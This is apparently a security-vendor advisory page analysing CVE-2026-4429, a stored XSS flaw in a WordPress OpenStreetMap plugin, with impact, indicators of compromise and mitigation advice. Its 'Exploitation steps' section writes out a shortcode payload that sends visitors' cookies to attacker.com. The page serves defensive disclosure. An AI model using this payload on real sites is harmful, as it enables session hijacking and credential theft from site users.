CVE-2026-4429
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-4429 is a Stored Cross-Site Scripting (XSS) vulnerability in the OSM – OpenStreetMap plugin for WordPress, affecting all versions up to and including 6.1.15. The flaw exists in the [osm_map_v3] shortcode, specifically via the marker_name and file_color_list shortcode attributes, due to insufficient input sanitization and output escaping. It was published on April 9, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The root cause is insufficient sanitization of the marker_name and file_color_list attributes passed to the [osm_map_v3] shortcode, with the unsanitized values being rendered directly into page output. Vulnerable code locations include osm_map_v3/osm-sc-osm_map_v3.php (lines 31 and 560) and osm-icon-class.php (lines 347 and 356) in version 6.1.15. Exploitation requires at minimum Contributor-level WordPress authentication, and the injected script executes in the browsers of any user who visits the affected page (GitHub Advisory, Wordfence).

Impact

Successful exploitation allows authenticated attackers with Contributor-level access or higher to persistently inject arbitrary JavaScript into WordPress pages. When other users — including administrators — visit the compromised pages, the malicious scripts execute in their browsers, potentially enabling session hijacking, credential theft, data exfiltration, and website defacement. The changed scope in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress site and its visitors (GitHub Advisory, Wordfence).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.056% (0.000560), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for at least Contributor-level WordPress authentication (GitHub Advisory, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the OSM – OpenStreetMap plugin at version 6.1.15 or earlier, using tools like WPScan or manual inspection of plugin directories.
  2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
  3. Craft malicious shortcode: Create or edit a post/page containing the [osm_map_v3] shortcode with a malicious payload injected into the marker_name or file_color_list attribute, e.g., [osm_map_v3 marker_name="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" ...].
  4. Publish the content: Submit the post for review or publish it directly (depending on role permissions), embedding the stored XSS payload in the page.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking or further attacks (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing authenticated POST requests to post/page editing endpoints containing script tags or encoded JavaScript within shortcode parameters; unusual activity from Contributor-level accounts creating or editing pages with [osm_map_v3] shortcodes.
  • File System: Review of post content in the WordPress database (wp_posts table) for [osm_map_v3] shortcodes containing <script>, javascript:, or encoded variants in marker_name or file_color_list attributes.
  • Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages containing the OSM plugin shortcode; unexpected cookie or credential data transmitted to external endpoints.

Mitigation and workarounds

Update the OSM – OpenStreetMap plugin to a version newer than 6.1.15, which contains the fix for this vulnerability (patch changeset available in the WordPress plugin repository). As an interim measure, restrict Contributor-level access to trusted users only and audit existing posts and pages for any [osm_map_v3] shortcodes containing suspicious content in the marker_name or file_color_list attributes. Site administrators should also consider disabling the plugin until the update can be applied (GitHub Advisory, Wordfence).

Community reactions

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for April 6–12, 2026. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified (Wordfence Blog).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management